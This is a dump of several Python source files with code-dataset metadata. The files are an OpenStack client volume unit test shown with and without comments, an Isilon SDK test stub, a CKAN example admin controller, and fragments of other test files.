disamb3[1] == 'INSR' def test_modify_groundings(): ad = load_disambiguator('IR', path=TEST_MODEL_PATH) ad.modify_groundings(new_groundings={'HGNC:6091': 'UP:P06213'}, new_names={'HGNC:6091': 'Insulin Receptor'}) assert 'UP:P06213' in ad.pos_labels assert 'UP:P06213' in ad.classifier.pos_labels assert 'UP:P06213' in ad.classifier.estimator.classes_ assert 'UP:P06213' in ad.names assert 'UP:P06213' in ad.grounding_dict['IR'].values() assert ad.names['UP:P06213'] == 'Insulin Receptor' @raises(ValueError) def test_modify_groundings_error(): ad = load_disambiguator('IR', path=TEST_MODEL_PATH) ad.modify_groundings(new_groundings={'MESH:D011839': 'HGNC:6091'})

true

f73260e91d1ae454fee4867788ff917e7a7743be

22,733

py

Python

python/venv/lib/python2.7/site-packages/openstackclient/tests/volume/v1/test_volume.py

sjsucohort6/openstack

8471e6e599c3f52319926a582358358ef84cbadb

[ "MIT" ]

null

python/venv/lib/python2.7/site-packages/openstackclient/tests/volume/v1/test_volume.py

sjsucohort6/openstack

8471e6e599c3f52319926a582358358ef84cbadb

[ "MIT" ]

null

python/venv/lib/python2.7/site-packages/openstackclient/tests/volume/v1/test_volume.py

sjsucohort6/openstack

8471e6e599c3f52319926a582358358ef84cbadb

[ "MIT" ]

null

# Copyright 2013 Nebula Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # import copy from openstackclient.tests import fakes from openstackclient.tests.identity.v2_0 import fakes as identity_fakes from openstackclient.tests.volume.v1 import fakes as volume_fakes from openstackclient.volume.v1 import volume class TestVolume(volume_fakes.TestVolumev1): def setUp(self): super(TestVolume, self).setUp() # Get a shortcut to the VolumeManager Mock self.volumes_mock = self.app.client_manager.volume.volumes self.volumes_mock.reset_mock() # Get a shortcut to the TenantManager Mock self.projects_mock = self.app.client_manager.identity.tenants self.projects_mock.reset_mock() # Get a shortcut to the UserManager Mock self.users_mock = self.app.client_manager.identity.users self.users_mock.reset_mock() # Get a shortcut to the ImageManager Mock self.images_mock = self.app.client_manager.image.images self.images_mock.reset_mock() # TODO(dtroyer): The volume create tests are incomplete, only the minimal # options and the options that require additional processing # are implemented at this time. class TestVolumeCreate(TestVolume): def setUp(self): super(TestVolumeCreate, self).setUp() self.volumes_mock.create.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.VOLUME), loaded=True, ) # Get the command object to test self.cmd = volume.CreateVolume(self.app, None) def test_volume_create_min_options(self): arglist = [ '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples columns, data = self.cmd.take_action(parsed_args) # VolumeManager.create(size, snapshot_id=, source_volid=, # display_name=, display_description=, # volume_type=, user_id=, # project_id=, availability_zone=, # metadata=, imageRef=) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_options(self): arglist = [ '--size', str(volume_fakes.volume_size), '--description', volume_fakes.volume_description, '--type', volume_fakes.volume_type, '--availability-zone', volume_fakes.volume_zone, volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('description', volume_fakes.volume_description), ('type', volume_fakes.volume_type), ('availability_zone', volume_fakes.volume_zone), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples columns, data = self.cmd.take_action(parsed_args) # VolumeManager.create(size, snapshot_id=, source_volid=, # display_name=, display_description=, # volume_type=, user_id=, # project_id=, availability_zone=, # metadata=, imageRef=) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, volume_fakes.volume_description, volume_fakes.volume_type, None, None, volume_fakes.volume_zone, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_user_project_id(self): # Return a project self.projects_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.PROJECT), loaded=True, ) # Return a user self.users_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.USER), loaded=True, ) arglist = [ '--size', str(volume_fakes.volume_size), '--project', identity_fakes.project_id, '--user', identity_fakes.user_id, volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('project', identity_fakes.project_id), ('user', identity_fakes.user_id), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples columns, data = self.cmd.take_action(parsed_args) # VolumeManager.create(size, snapshot_id=, source_volid=, # display_name=, display_description=, # volume_type=, user_id=, # project_id=, availability_zone=, # metadata=, imageRef=) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, identity_fakes.user_id, identity_fakes.project_id, None, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_user_project_name(self): # Return a project self.projects_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.PROJECT), loaded=True, ) # Return a user self.users_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.USER), loaded=True, ) arglist = [ '--size', str(volume_fakes.volume_size), '--project', identity_fakes.project_name, '--user', identity_fakes.user_name, volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('project', identity_fakes.project_name), ('user', identity_fakes.user_name), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples columns, data = self.cmd.take_action(parsed_args) # VolumeManager.create(size, snapshot_id=, source_volid=, # display_name=, display_description=, # volume_type=, user_id=, # project_id=, availability_zone=, # metadata=, imageRef=) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, identity_fakes.user_id, identity_fakes.project_id, None, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_properties(self): arglist = [ '--property', 'Alpha=a', '--property', 'Beta=b', '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('property', {'Alpha': 'a', 'Beta': 'b'}), ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples columns, data = self.cmd.take_action(parsed_args) # VolumeManager.create(size, snapshot_id=, source_volid=, # display_name=, display_description=, # volume_type=, user_id=, # project_id=, availability_zone=, # metadata=, imageRef=) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, {'Alpha': 'a', 'Beta': 'b'}, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_image_id(self): self.images_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.IMAGE), loaded=True, ) arglist = [ '--image', volume_fakes.image_id, '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('image', volume_fakes.image_id), ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples columns, data = self.cmd.take_action(parsed_args) # VolumeManager.create(size, snapshot_id=, source_volid=, # display_name=, display_description=, # volume_type=, user_id=, # project_id=, availability_zone=, # metadata=, imageRef=) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, None, volume_fakes.image_id, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_image_name(self): self.images_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.IMAGE), loaded=True, ) arglist = [ '--image', volume_fakes.image_name, '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('image', volume_fakes.image_name), ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples columns, data = self.cmd.take_action(parsed_args) # VolumeManager.create(size, snapshot_id=, source_volid=, # display_name=, display_description=, # volume_type=, user_id=, # project_id=, availability_zone=, # metadata=, imageRef=) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, None, volume_fakes.image_id, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) class TestVolumeSet(TestVolume): def setUp(self): super(TestVolumeSet, self).setUp() self.volumes_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.VOLUME), loaded=True, ) self.volumes_mock.update.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.VOLUME), loaded=True, ) # Get the command object to test self.cmd = volume.SetVolume(self.app, None) def test_volume_set_no_options(self): arglist = [ volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', None), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.run(parsed_args) self.assertEqual(0, result) self.assertEqual("No changes requested\n", self.app.log.messages.get('error')) def test_volume_set_name(self): arglist = [ '--name', 'qwerty', volume_fakes.volume_name, ] verifylist = [ ('name', 'qwerty'), ('description', None), ('size', None), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples self.cmd.take_action(parsed_args) # Set expected values kwargs = { 'display_name': 'qwerty', } self.volumes_mock.update.assert_called_with( volume_fakes.volume_id, **kwargs ) def test_volume_set_description(self): arglist = [ '--description', 'new desc', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', 'new desc'), ('size', None), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples self.cmd.take_action(parsed_args) # Set expected values kwargs = { 'display_description': 'new desc', } self.volumes_mock.update.assert_called_with( volume_fakes.volume_id, **kwargs ) def test_volume_set_size(self): arglist = [ '--size', '130', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', 130), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples self.cmd.take_action(parsed_args) # Set expected values size = 130 self.volumes_mock.extend.assert_called_with( volume_fakes.volume_id, size ) def test_volume_set_size_smaller(self): arglist = [ '--size', '100', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', 100), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.run(parsed_args) self.assertEqual(0, result) self.assertEqual("New size must be greater than %s GB" % volume_fakes.volume_size, self.app.log.messages.get('error')) def test_volume_set_size_not_available(self): self.volumes_mock.get.return_value.status = 'error' arglist = [ '--size', '130', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', 130), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.run(parsed_args) self.assertEqual(0, result) self.assertEqual("Volume is in %s state, it must be available before " "size can be extended" % 'error', self.app.log.messages.get('error')) def test_volume_set_property(self): arglist = [ '--property', 'myprop=myvalue', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', None), ('property', {'myprop': 'myvalue'}), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) # DisplayCommandBase.take_action() returns two tuples self.cmd.take_action(parsed_args) # Set expected values metadata = { 'myprop': 'myvalue' } self.volumes_mock.set_metadata.assert_called_with( volume_fakes.volume_id, metadata )

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import copy from openstackclient.tests import fakes from openstackclient.tests.identity.v2_0 import fakes as identity_fakes from openstackclient.tests.volume.v1 import fakes as volume_fakes from openstackclient.volume.v1 import volume class TestVolume(volume_fakes.TestVolumev1): def setUp(self): super(TestVolume, self).setUp() self.volumes_mock = self.app.client_manager.volume.volumes self.volumes_mock.reset_mock() self.projects_mock = self.app.client_manager.identity.tenants self.projects_mock.reset_mock() self.users_mock = self.app.client_manager.identity.users self.users_mock.reset_mock() self.images_mock = self.app.client_manager.image.images self.images_mock.reset_mock() class TestVolumeCreate(TestVolume): def setUp(self): super(TestVolumeCreate, self).setUp() self.volumes_mock.create.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.VOLUME), loaded=True, ) self.cmd = volume.CreateVolume(self.app, None) def test_volume_create_min_options(self): arglist = [ '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_options(self): arglist = [ '--size', str(volume_fakes.volume_size), '--description', volume_fakes.volume_description, '--type', volume_fakes.volume_type, '--availability-zone', volume_fakes.volume_zone, volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('description', volume_fakes.volume_description), ('type', volume_fakes.volume_type), ('availability_zone', volume_fakes.volume_zone), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, volume_fakes.volume_description, volume_fakes.volume_type, None, None, volume_fakes.volume_zone, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_user_project_id(self): self.projects_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.PROJECT), loaded=True, ) self.users_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.USER), loaded=True, ) arglist = [ '--size', str(volume_fakes.volume_size), '--project', identity_fakes.project_id, '--user', identity_fakes.user_id, volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('project', identity_fakes.project_id), ('user', identity_fakes.user_id), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, identity_fakes.user_id, identity_fakes.project_id, None, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_user_project_name(self): self.projects_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.PROJECT), loaded=True, ) self.users_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(identity_fakes.USER), loaded=True, ) arglist = [ '--size', str(volume_fakes.volume_size), '--project', identity_fakes.project_name, '--user', identity_fakes.user_name, volume_fakes.volume_name, ] verifylist = [ ('size', volume_fakes.volume_size), ('project', identity_fakes.project_name), ('user', identity_fakes.user_name), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, identity_fakes.user_id, identity_fakes.project_id, None, None, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_properties(self): arglist = [ '--property', 'Alpha=a', '--property', 'Beta=b', '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('property', {'Alpha': 'a', 'Beta': 'b'}), ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, {'Alpha': 'a', 'Beta': 'b'}, None, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_image_id(self): self.images_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.IMAGE), loaded=True, ) arglist = [ '--image', volume_fakes.image_id, '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('image', volume_fakes.image_id), ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, None, volume_fakes.image_id, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) def test_volume_create_image_name(self): self.images_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.IMAGE), loaded=True, ) arglist = [ '--image', volume_fakes.image_name, '--size', str(volume_fakes.volume_size), volume_fakes.volume_name, ] verifylist = [ ('image', volume_fakes.image_name), ('size', volume_fakes.volume_size), ('name', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volumes_mock.create.assert_called_with( volume_fakes.volume_size, None, None, volume_fakes.volume_name, None, None, None, None, None, None, volume_fakes.image_id, ) collist = ( 'attach_status', 'availability_zone', 'display_description', 'display_name', 'id', 'properties', 'size', 'status', 'type', ) self.assertEqual(collist, columns) datalist = ( 'detached', volume_fakes.volume_zone, volume_fakes.volume_description, volume_fakes.volume_name, volume_fakes.volume_id, volume_fakes.volume_metadata_str, volume_fakes.volume_size, volume_fakes.volume_status, volume_fakes.volume_type, ) self.assertEqual(datalist, data) class TestVolumeSet(TestVolume): def setUp(self): super(TestVolumeSet, self).setUp() self.volumes_mock.get.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.VOLUME), loaded=True, ) self.volumes_mock.update.return_value = fakes.FakeResource( None, copy.deepcopy(volume_fakes.VOLUME), loaded=True, ) self.cmd = volume.SetVolume(self.app, None) def test_volume_set_no_options(self): arglist = [ volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', None), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.run(parsed_args) self.assertEqual(0, result) self.assertEqual("No changes requested\n", self.app.log.messages.get('error')) def test_volume_set_name(self): arglist = [ '--name', 'qwerty', volume_fakes.volume_name, ] verifylist = [ ('name', 'qwerty'), ('description', None), ('size', None), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) self.cmd.take_action(parsed_args) kwargs = { 'display_name': 'qwerty', } self.volumes_mock.update.assert_called_with( volume_fakes.volume_id, **kwargs ) def test_volume_set_description(self): arglist = [ '--description', 'new desc', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', 'new desc'), ('size', None), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) self.cmd.take_action(parsed_args) kwargs = { 'display_description': 'new desc', } self.volumes_mock.update.assert_called_with( volume_fakes.volume_id, **kwargs ) def test_volume_set_size(self): arglist = [ '--size', '130', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', 130), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) self.cmd.take_action(parsed_args) size = 130 self.volumes_mock.extend.assert_called_with( volume_fakes.volume_id, size ) def test_volume_set_size_smaller(self): arglist = [ '--size', '100', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', 100), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.run(parsed_args) self.assertEqual(0, result) self.assertEqual("New size must be greater than %s GB" % volume_fakes.volume_size, self.app.log.messages.get('error')) def test_volume_set_size_not_available(self): self.volumes_mock.get.return_value.status = 'error' arglist = [ '--size', '130', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', 130), ('property', None), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.run(parsed_args) self.assertEqual(0, result) self.assertEqual("Volume is in %s state, it must be available before " "size can be extended" % 'error', self.app.log.messages.get('error')) def test_volume_set_property(self): arglist = [ '--property', 'myprop=myvalue', volume_fakes.volume_name, ] verifylist = [ ('name', None), ('description', None), ('size', None), ('property', {'myprop': 'myvalue'}), ('volume', volume_fakes.volume_name), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) self.cmd.take_action(parsed_args) metadata = { 'myprop': 'myvalue' } self.volumes_mock.set_metadata.assert_called_with( volume_fakes.volume_id, metadata )

true

f732611a1a2ab486119fd62c51262868f3c65886

920

py

Python

isi_sdk_8_1_1/test/test_hdfs_racks_extended.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

[ "Unlicense" ]

24

2018-06-22T14:13:23.000Z

2022-03-23T01:21:26.000Z

isi_sdk_8_1_1/test/test_hdfs_racks_extended.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

[ "Unlicense" ]

46

2018-04-30T13:28:22.000Z

2022-03-21T21:11:07.000Z

isi_sdk_8_1_1/test/test_hdfs_racks_extended.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

[ "Unlicense" ]

29

2018-06-19T00:14:04.000Z

2022-02-08T17:51:19.000Z

# coding: utf-8 """ Isilon SDK Isilon SDK - Language bindings for the OneFS API # noqa: E501 OpenAPI spec version: 6 Contact: sdk@isilon.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import isi_sdk_8_1_1 from isi_sdk_8_1_1.models.hdfs_racks_extended import HdfsRacksExtended # noqa: E501 from isi_sdk_8_1_1.rest import ApiException class TestHdfsRacksExtended(unittest.TestCase): """HdfsRacksExtended unit test stubs""" def setUp(self): pass def tearDown(self): pass def testHdfsRacksExtended(self): """Test HdfsRacksExtended""" # FIXME: construct object with mandatory attributes with example values # model = isi_sdk_8_1_1.models.hdfs_racks_extended.HdfsRacksExtended() # noqa: E501 pass if __name__ == '__main__': unittest.main()

22.439024

92

0.71087

from __future__ import absolute_import import unittest import isi_sdk_8_1_1 from isi_sdk_8_1_1.models.hdfs_racks_extended import HdfsRacksExtended from isi_sdk_8_1_1.rest import ApiException class TestHdfsRacksExtended(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testHdfsRacksExtended(self): s if __name__ == '__main__': unittest.main()

true

f73261dcada28847fe886f6d9f0b31bf935869e2

723

py

Python

ckanext/example_iconfigurer/controller.py

florianm/ckan

1cfd98d591ac70b4eb81048bcd227b6c1354b1bf

[ "Apache-2.0" ]

2

2015-07-17T19:09:52.000Z

2017-08-30T20:23:44.000Z

ckanext/example_iconfigurer/controller.py

florianm/ckan

1cfd98d591ac70b4eb81048bcd227b6c1354b1bf

[ "Apache-2.0" ]

12

2015-01-19T18:03:56.000Z

2016-04-11T16:40:33.000Z

ckanext/example_iconfigurer/controller.py

florianm/ckan

1cfd98d591ac70b4eb81048bcd227b6c1354b1bf

[ "Apache-2.0" ]

3

2015-03-31T06:19:42.000Z

2016-06-27T15:32:28.000Z

import ckan.lib.base as base import ckan.lib.helpers as helpers render = base.render class MyExtController(base.BaseController): def config_one(self): '''Render the config template with the first custom title.''' return render('admin/myext_config.html', extra_vars={'title': 'My First Config Page'}) def config_two(self): '''Render the config template with the second custom title.''' return render('admin/myext_config.html', extra_vars={'title': 'My Second Config Page'}) def build_extra_admin_nav(self): '''Return results of helpers.build_extra_admin_nav for testing.''' return helpers.build_extra_admin_nav()

31.434783

74

0.662517

import ckan.lib.base as base import ckan.lib.helpers as helpers render = base.render class MyExtController(base.BaseController): def config_one(self): return render('admin/myext_config.html', extra_vars={'title': 'My First Config Page'}) def config_two(self): return render('admin/myext_config.html', extra_vars={'title': 'My Second Config Page'}) def build_extra_admin_nav(self): return helpers.build_extra_admin_nav()

true

f73261fd8815ad358fea1b0a2e1346d8c7efae13

4,929

py

Python

pkgs/sdk-pkg/src/genie/libs/sdk/apis/iosxe/lacp/get.py

CiscoTestAutomation/genielibs

becee8a1a85f4973e00859e3244e2c8fe45a394c

[ "Apache-2.0" ]

94

2018-04-30T20:29:15.000Z

2022-03-29T13:40:31.000Z

pkgs/sdk-pkg/src/genie/libs/sdk/apis/iosxe/lacp/get.py

patrickboertje/genielibs

61c37aacf3dd0f499944555e4ff940f92f53dacb

[ "Apache-2.0" ]

67

2018-12-06T21:08:09.000Z

2022-03-29T18:00:46.000Z

pkgs/sdk-pkg/src/genie/libs/sdk/apis/iosxe/lacp/get.py

patrickboertje/genielibs

61c37aacf3dd0f499944555e4ff940f92f53dacb

[ "Apache-2.0" ]

49

2018-06-29T18:59:03.000Z

2022-03-10T02:07:59.000Z

